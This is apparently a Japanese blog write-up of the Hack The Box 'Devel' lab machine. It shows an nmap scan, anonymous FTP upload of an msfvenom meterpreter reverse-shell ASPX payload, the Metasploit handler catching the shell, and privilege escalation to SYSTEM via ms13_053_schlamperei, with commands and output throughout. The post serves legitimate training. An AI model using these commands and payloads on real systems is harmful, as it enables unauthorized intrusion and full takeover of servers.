LoginSignup
1
1

More than 1 year has passed since last update.

Hack the Box (HTB) Devel write-up

Last updated at Posted at 2020-08-25

はじめに

こんちゃっす。備忘録的にHTBのDevelについて書いていきたいと思います。またHTBをやり始めたばっかりだけど解説が英語ばっかりでわからん!って人の参考になればなと思います。
何か改善点やミスがあればご指摘お願いします。
今回はHTBのはじめてのライトアアップということもありできるだけ細かく書きたいと思うので多少くどいかもしれませんがお付き合いください。

Twitter:@ikk_hck

Devel

Screen Shot 2020-08-25 at 19.55.33.png

HackTheBox公式より

Devel, while relatively simple, demonstrates the security risks associated with some default program configurations. It is a beginner-level machine which can be completed using publicly available exploits.

へえー。

フラグをとる流れ

  1. ポートスキャン
  2. msfvenomnでリバースシェルのペイロードを作成しftp経由でアップロード
  3. ハンドラを設定してリバースシェル
  4. 権限エスカレーション
  5. フラグを得る

となっているのでどこにいるか分からなくなったらここに戻ってきてください。

スキャン

Devel(10.10.10.5)にお決まりのポートスキャン

nmap -sV -sC -Pn 10.10.10.5

オプションの説明は

-sV バージョン検出
-sC デフォルトのNSEスクリプトを実行
-Pn Ping送信をせずにスキャン

※nmapでは、スキャンの前にpingでの疎通確認を行っていますが、ファイアウォールなどでICMPを止めている場合、スキャンできないため、「-Pn」オプションを付与して、事前のPingスキャンをスキップ
( nmapの実用的コマンド10選より )

スキャンすると

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-24 19:12 EDT
Nmap scan report for 10.10.10.5
Host is up (0.18s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 08-28-20  09:36AM                 2840 devel.aspx
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

21番ポートが開いている。"Anonymous FTP login allowed"とあるようにAnonumousログインができるようなのでさっそくやってみる。

ftp 10.10.10.5

するとNameを求められるのでanonymousを
パスワードは適当に

Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> 

無事ログインできました。ディレクトリ構成はこんなかんじになってました。

ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png

目標はmsfvenomnでペイロードを作成し、作成したペイロードをここにアップロードしてリバースシェル することです。
nmapの結果からMicrosoft IIS httpd 7.5であることがわかっているのでaspxで作成していきたいと思います。参考までにリンクを貼っておきます。

リバースシェル

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.??.?? LPORT=4444 -f aspx > devel.aspx

ローカルホストやポートは環境に合わせてください。
fオプションでフォーマットをaspxに指定しています。
そしてftpでファイルをアップロード。接続が切れていた場合はログインし直してください。

ftp> put devel.aspx 
local: devel.aspx remote: devel.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2840 bytes sent in 0.00 secs (11.6743 MB/s)

うまくいきました。
次に接続を受け付けるハンドラを設定していきます。ターミナルで

mfsconsole

として起動します。そして先ほど作成したペイロードと同じようにローカルホストやポートを設定していきます。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.??.??
lhost => 10.10.??.??
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > showoptions
[-] Unknown command: showoptions.
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.??.??      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

最後に

msf5 exploit(multi/handler) > run

runで実行すると

[*] Started reverse TCP handler on 10.10.??.??:4444

待機していることがわかります。ブラウザで10.10.10.5/devel.aspxにアクセス。すると先ほどアップロードしたdevel.aspxが実行され、以下のように待ち受けていたハンドラにリバースシェル 接続がきている。

[*] Started reverse TCP handler on 10.10.??.??:4444 
[*] Sending stage (176195 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.??.??:4444 -> 10.10.10.5:49160) at 2020-08-24 20:07:08 -0400

meterpreter > 

ちなみに、、ぼくの場合は1回目は失敗しました。

show options コマンドで詳細を確認してみると設定したはずのローカルホストが変わっていました。なので再度

msf5 exploit(multi/handler) > set lhost 10.10.??.??

で設定し直しすと無事成功しました。詰まった人はshow optionsで確認してみてください。
まだ終わりじゃない、、権限を確認してみると

meterpreter > getuid
Server username: IIS APPPOOL\Web
meterpreter > 

まだ管理者権限ではないことがわかる。

権限エスカレーション

local_exploit_suggesterを用いて管理者権限をうばっていきたい。
local_exploit_suggesterは使えそうなエクスプロイトを探して教えてくれます。

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
msf5 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf5 post(multi/recon/local_exploit_suggester) > run

実行してみると

[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 30 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.                                
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.                  
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.                              
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.                              
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.                         
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.                         
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.                 
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.                        
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.                    
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.                               
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.                                   
[*] Post module execution completed        

いっぱいでてきた、、
1番上のを試してみる。

msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_eventvwr
msf5 exploit(windows/local/bypassuac_eventvwr) > show options

Module options (exploit/windows/local/bypassuac_eventvwr):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Exploit target:

   Id  Name
   --  ----
   0   Windows x86


msf5 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_eventvwr) > run

[*] Started reverse TCP handler on 10.0.??.??:4444 
[-] Exploit aborted due to failure: no-access: Not in admins group, cannot escalate with this module
[*] Exploit completed, but no session was created.

うまくいかないので2番目のを試してみたけどだめ。3番目もダメ(記事を書く前の最初フラグをとったときは3番目でいけた。なんで?)
4番目でようやく成功。

msf5 exploit(windows/local/ms10_092_schelevator) > use exploit/windows/local/ms13_053_schlamperei
msf5 exploit(windows/local/ms13_053_schlamperei) > set lhost 10.10.??.??
lhost => 10.10.??.??
msf5 exploit(windows/local/ms13_053_schlamperei) > run

[-] Exploit failed: The following options failed to validate: SESSION.
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/ms13_053_schlamperei) > set session 1
session => 1
msf5 exploit(windows/local/ms13_053_schlamperei) > run

[*] Started reverse TCP handler on 10.0.2.15:4444 
[*] Launching notepad to host the exploit...
[+] Process 2812 launched.
[*] Reflectively injecting the exploit DLL into 2812...
[*] Injecting exploit into 2812...
[*] Found winlogon.exe with PID 468
[+] Everything seems to have worked, cross your fingers and wait for a SYSTEM shell
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/ms13_053_schlamperei) > set lhost 10.10.14.23
lhost => 10.10.14.23
msf5 exploit(windows/local/ms13_053_schlamperei) > run

[*] Started reverse TCP handler on 10.10.14.23:4444 
[*] Launching notepad to host the exploit...
[+] Process 1932 launched.
[*] Reflectively injecting the exploit DLL into 1932...
[*] Injecting exploit into 1932...
[*] Found winlogon.exe with PID 468
[+] Everything seems to have worked, cross your fingers and wait for a SYSTEM shell
[*] Sending stage (176195 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (10.10.14.23:4444 -> 10.10.10.5:49159) at 2020-08-25 06:42:09 -0400

途中セッションを設定しろっておこられたり、設定したはずのローカルホストが変わっていて設定し直したりしてます。権限を確認すると

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

管理者権限になってますね。
いろいろみていくと\Users\Administrator\Desktop\にroot.txt.txtがありました。
おつかれさまでした。

不明点としてはローカルホストがエクスプロイトを実行したあと勝手に書きかわる?ことと、権限昇格の際にうまくいく時といかない時があること。わかる人教えてください。

では。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1